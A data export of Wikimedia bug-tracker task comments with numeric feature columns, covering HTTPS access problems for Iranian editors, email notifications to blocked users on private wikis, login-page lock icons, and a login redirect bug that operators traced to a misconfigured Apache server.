+233641,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Now all WM projects are out of access except Meta, Commons, Incubator, Bugzilla, MediaWiki and Wikidata projects.",,,1377029400,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233637,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Thanks for the added list, we'll confirm on the https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis page before launch.",,,1377013866,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+233631,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Some other countries have similar problems and Wikimedia Foundation's Engineering Team is well aware of these problems. Very likely a number of Wikimedia sites (like Wikipedia) will be excluded from HTTPS login by default.
+
+We will keep you updated, please have a little bit of patience while sorting out plans here. Thanks! :)",,,1376493332,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+233626,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**popeno2003** wrote:
+
+(In reply to comment #1)
+> Hello. I am sysop of ckb.wiki and I confirm Pouyan statements. We can not
+> access to wikimedia projects via HTTPS. All sysops of ckb.wiki are from Iran
+> and this is very bad. Now what are we suppose to do?
+> (Correction: Pouyan's purpose was ""ckb"" not ""cbk"" wikipedia)
+
+sorry for the typo (not enough sleep after long distance travel :D).",,,1376492004,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+233620,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Hello. I am sysop of ckb.wiki and I confirm Pouyan statements. We can not access to wikimedia projects via HTTPS. All sysops of ckb.wiki are from Iran and this is very bad. Now what are we suppose to do?
+(Correction: Pouyan's purpose was ""ckb"" not ""cbk"" wikipedia)",,,1376491864,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,1,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+54453,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Not sure if maybe Wikimedia/Site requests would be the appropiate place.
+
+When an user account is blocked on a private wiki that has the 'wgBlockDisablesLogin' in the config, the blocked user should not continue to receive email notifications about pages changed on his watchlist. This is happening to me.
+
+Blocked users on 'wgBlockDisablesLogin'-wikis won't be able to login and check the change made, and there's the posibility that private data may be leaked in the edit summary (data that the user is not suposed to access anymore).
+
+Since blocking on those private wikis such as <http://noc.wikimedia.org/conf/highlight.php?file=private.dblist> (& I'm speaking for those that I know: CU and steward wikis) is not used as a way to prevent abuse, but as a tool to remove someone's access to the wiki, it makes sense IMHO to disable from blocked users the ability to continue to receive email notifications. I guess that that is the primary use of the tool in all of the other ones.
+
+Thanks.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1375447200,1439552215.0,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-TASK-cncmgn3somgwerasmpjj,task_description,resolved,True,c2,2,True,False,False,-4,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+507540,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 218602 merged by jenkins-bot:
+Don't send email notifs to blocked users if $wgBlockDisablesLogin is true
+
+[[https://gerrit.wikimedia.org/r/218602]]",,,1439484247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+475340,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 218602 had a related patch set uploaded (by Glaisher):
+Don't send email notifs to blocked users if $wgBlockDisablesLogin is true
+
+[[https://gerrit.wikimedia.org/r/218602]]
+",,,1434448355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,93,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+437010,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 194525 abandoned by Alex Monk:
+Prevent user from receiving email while blocked with $wgBlockDisablesLogin on
+
+[[https://gerrit.wikimedia.org/r/194525]]",,,1427945933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+421459,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 194525 had a related patch set uploaded (by Alex Monk):
+Prevent user from receiving email while blocked with $wgBlockDisablesLogin on
+
+[[https://gerrit.wikimedia.org/r/194525]]
+",,,1425568061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,79,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+419723,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,Can this be resolved using ways like {T87559}?,,,1425361756,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,78,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0
+409497,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,">>! In T54453#1028658, @Jalexander wrote:
+> Aye, user talkpage notifications are unhelpful to the user who can't log in to their account and on private wikis (like this is meant for) this are a security issue too since the notification can have snippets of what is posted. [obviously there is not generally a reason to post private information to a blocked wikis talk page but I can imagine a situation where someone hadn't noticed they were gone already or something like that]
+
+True, I got with the user's talkpage thing on a wrong way for this situation. They can't see them when they are not logged in....",,,1423606777,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+409387,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Aye, user talkpage notifications are unhelpful to the user who can't log in to their account and on private wikis (like this is meant for) this are a security issue too since the notification can have snippets of what is posted. [obviously there is not generally a reason to post private information to a blocked wikis talk page but I can imagine a situation where someone hadn't noticed they were gone already or something like that]",,,1423594181,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,75,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+409348,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Reconfirming the email when one is back doesn't look like a huge burden.
+
+>  However user talkpage notifications could be still allowed.
+
+What for, if they can't access their talk pages? Also, the user wouldn't be able to disable such emails because preferences would be inaccessible. I agree it's possible to break down tthe disabling in many conditions, but unconfirming the email address is a reasonable first implementation.",,,1423591279,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+409282,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,">>! In T54453#1027792, @Trijnstel wrote:
+> What if this task is being done and accounts need to be unblocked? Will the email then automatically be confirmed again? (ie. think about returning OTRS agents, CheckUsers and/or stewards)
+
+I don't think thats the right way that emailconfirmed should be revoked (as only the merged task title suggests) if the goal is, that the account don't get watchlist notifications. Instead I imagine, when generating the mails, it should be checked if wgBlockDisablesLogin && user is blocked, and not send it.
+However user talkpage notifications could be still allowed.",,,1423586068,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+409198,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"What if this task is being done and accounts need to be unblocked? Will the email then automatically be confirmed again? (ie. think about returning OTRS agents, CheckUsers and/or stewards)",,,1423571793,,PHID-USER-b7pgokfca76dam7jq5qd,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,75,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1
+234995,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"(In reply to billinghurst from comment #2)
+> Presumably not. That is tool that we use and seemingly this report is that
+> they still receive notifications.
+> 
+> Deactivate an account (variation of Special:Block)
+> 
+> ... deactivated MarcoAurelio (Talk | contribs) with an expiry time of
+> infinite (account creation disabled) ...
+
+Nope. That is the normal 'block' option (the block log messages are customized over there).
+
+Deactivation mentioned by Legoktm above is what is done via Special:DissableAccount. However it (is/was?) policy of that wiki not to use that powerful blocking tool unless it was strictly necessary (compromised accounts, etc.) as suggested by WMF because its use was not logged anywhere (cf. bug 32782 - not sure if that's really logged now, there was an ad hoc page created there for that purpose) and because its use is only reversible with system administrator intervention.
+
+It is not rare that some CUs (and happened with stewards as well, tho less frequently) wants to take a break, drops the tools and it's access is removed, and after a couple of months the user regains the tools tho is allowed to have access to the Wiki again. It'd be overkill IMHO to call a sysadmin each time an account needs to be reactivated, when a simple ""unblock"" can be done.
+
+Rename is an option, to free again the name and create a new account under the old name; however his/her former edits will be attributed to their old account, which is not an optimal situation IMHO.
+
+Best regards.",,,1415642745,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,62,True,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,1
+234990,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Presumably not. That is tool that we use and seemingly this report is that they still receive notifications.
+
+Deactivate an account (variation of Special:Block)
+
+... deactivated MarcoAurelio (Talk | contribs) with an expiry time of infinite (account creation disabled) ...",,,1404023437,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+234985,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"We have the DisableAccount extension for this purpose, which according to <https://noc.wikimedia.org/conf/highlight.php?file=InitialiseSettings.php> is enabled on both stewardwiki and CUwiki.
+
+Is that not sufficient?",,,1404022349,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+54282,Remove lock icons on create account and login,"**Author:** `swalling`
+
+**Description:**
+Since virtually all modern browsers on desktop and mobile indicate to the user when a connection is HTTPS or not, these icons are redundant.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1375207800,1394729592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ngtdxvtq5yhagvhknn55,task_description,resolved,True,c2,1,False,False,False,-5,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+249992,Remove lock icons on create account and login,"**swalling** wrote:
+
+(In reply to Andre Klapper from comment #1)
+> swalling: Where can this be seen? Any URL? Still valid?
+> 
+> Is this general ""MediaWiki > User login and signup"" code, or Wikimedia
+> specific?
+
+I think this is resolved.",,,1394729592,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ngtdxvtq5yhagvhknn55,task_subcomment,,True,c2,3,False,,,28,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+249988,Remove lock icons on create account and login,"swalling: Where can this be seen? Any URL? Still valid?
+
+Is this general ""MediaWiki > User login and signup"" code, or Wikimedia specific?",,,1394717163,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ngtdxvtq5yhagvhknn55,task_subcomment,,True,c2,3,True,,,28,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1
+54206,login error - redirected to foundationwiki Special:CentralLogin/start,"While logging into English Wikipedia on Chrome, I was sent to
+
+http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=<token>
+(I can provide the token if it is helpful)
+
+which is an error page:
+
+No such special page
+You have requested an invalid special page.
+A list of valid special pages can be found at Special pages.
+Return to Home.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53498
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54195",High,80.0,1375064520,1380561188.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-psc5gjs3ce7jb4yactck,task_description,resolved,True,c2,1,True,False,True,-5,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+245849,login error - redirected to foundationwiki Special:CentralLogin/start,"I just spidered all wikis, which has previously been a reliable way to reproduce this. I got no redirects to wikimediafoundation.org. So I think that may have been issue. Thanks!
+
+Closing this for now. If anyone sees this pop up again, please reopen.",,,1380561188,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+245844,login error - redirected to foundationwiki Special:CentralLogin/start,"I went through the Apache servers with salt to check for existing login.wikimedia.org config and i found one server that was active in load balancing but indeed didn't have a current Apache config.  mw1041 was missing in the dsh group ""apaches"" while it was in other groups (most likely because it had broken hardware in the past). since ""sync-apache"" uses that dsh group to sync it failed to sync mw1041 and with the older config it returned redirects to wikimediafoundation.org not knowing about login.wikimedia.org
+
+i fixed by adding back to dsh groups:
+
+https://gerrit.wikimedia.org/r/#/c/86670/
+
+and resyncing it.
+
+15:30 mutante: sync-apache mw1041 and restart apache, was missing in apaches dsh group 
+
+before:
+
+apache-fast-test login.wm.url mw1041
+
+http://login.wikimedia.org/wiki/
+ * 301 Moved Permanently http://wikimediafoundation.org/wiki/
+
+now:
+
+http://login.wikimedia.org/wiki/
+ * 301 Moved Permanently http://login.wikimedia.org/wiki/Main_Page",,,1380555406,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+245838,login error - redirected to foundationwiki Special:CentralLogin/start,"Just for another datapoint, I got this while scanning a bunch of wikis with phantomjs. Complete headers included.
+
+
+Request: ""https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%C3%B1stawi&returntoquery=""
+Request Headers:
+ User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
+ Accept: */*
+ Referer: http://ay.wikipedia.org/wiki/Nayriri_u%C3%B1stawi
+Request Cookies:
+  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""uls-previous-languages"", ""path"":""/"", ""secure"":false, ""value"":""%5B%22ay%22%5D""
+  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""mediaWiki.user.sessionId"", ""path"":""/"", ""secure"":false, ""value"":""wAX005sEAH3EMyN5dUEH5UNAcj438xQc""
+  ""domain"":""ay.wikipedia.org"", ""expires"":""Fri, 04 Oct 2013 23:56:48 GMT"", ""expiry"":1380931008, ""httponly"":false, ""name"":""centralnotice_bucket"", ""path"":""/"", ""secure"":false, ""value"":""1-4.2""
+
+
+Redirected (301) to ""http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%C3%B1stawi&returntoquery=""
+
+Response Headers:
+ Server: nginx/1.1.19
+ Date: Fri, 27 Sep 2013 23:56:54 GMT
+ Content-Type: text/html; charset=iso-8859-1
+ Content-Length: 385
+ Connection: keep-alive
+ Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%25C3%25B1stawi&returntoquery=
+ X-Cache: MISS from cp1019.eqiad.wmnet, MISS from cp1016.eqiad.wmnet
+ X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128, MISS from cp1016.eqiad.wmnet:80
+
+
+I'll open an RT ticket.. This really looks like either squid or apache doing something wrong.",,,1380328363,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+245832,login error - redirected to foundationwiki Special:CentralLogin/start,"Is this something Ops should be looking into then?  If so, can someone file an RT ticket to make this happen?",,,1379964931,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,3,True,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+245827,login error - redirected to foundationwiki Special:CentralLogin/start,"A quick grep through the extensions in 1.22wmf18 doesn't turn up anything likely-looking. Only one extension uses ""Location:"" (Collection), and that doesn't seem to be doing anything that would force wikimediafoundation.org. Also, I'd expect anything from an extension to at least have the X-Content-Type-Options header set from WebStart.php.
+
+
+Another data point: The responses quoted in comment 13 are consistent with those returned by Apache's RewriteRule with [R=301], including the Content-Length. For example, this command hits one of those and gives a response with Content-Length 352, just as the first response from comment 13 does:
+
+ curl -kv -H 'Host: bogus.wikimedia.org' 'https://wikimedia-lb.esams.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary'
+
+It seems unlikely that the specific redirect rule that example hits is what's being hit though, that would seem to require there be an apache that never got restarted (or never got its copy of operations/apache-config updated) since Gerrit change 62021 was merged in May.",,,1379962942,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+245821,login error - redirected to foundationwiki Special:CentralLogin/start,"Hi Brad, interesting observation about CentralAuth.  I wonder if there's another extension that's causing issues.  Check this out:
+https://login.wikimedia.org/wiki/Special:Version
+
+It seems like one thing we could try is stripping this down to the absolute minimum.",,,1379870511,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+245814,login error - redirected to foundationwiki Special:CentralLogin/start,"(In reply to comment #13)
+> This coincidentally happened in one of the logs posted at bug 54119.
+
+To clarify for the others following: I was not redirected to the wmfwiki page, though such a request happened in the background. I know because I saw that URL, remembered this bug and double-checked.",,,1379545993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+245809,login error - redirected to foundationwiki Special:CentralLogin/start,"This coincidentally happened in one of the logs posted at bug 54119. The reconstructed headers appear to be as follows (note the ordering of the neaders is probably wrong, due to the way the log is structured).
+
+Request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary
+
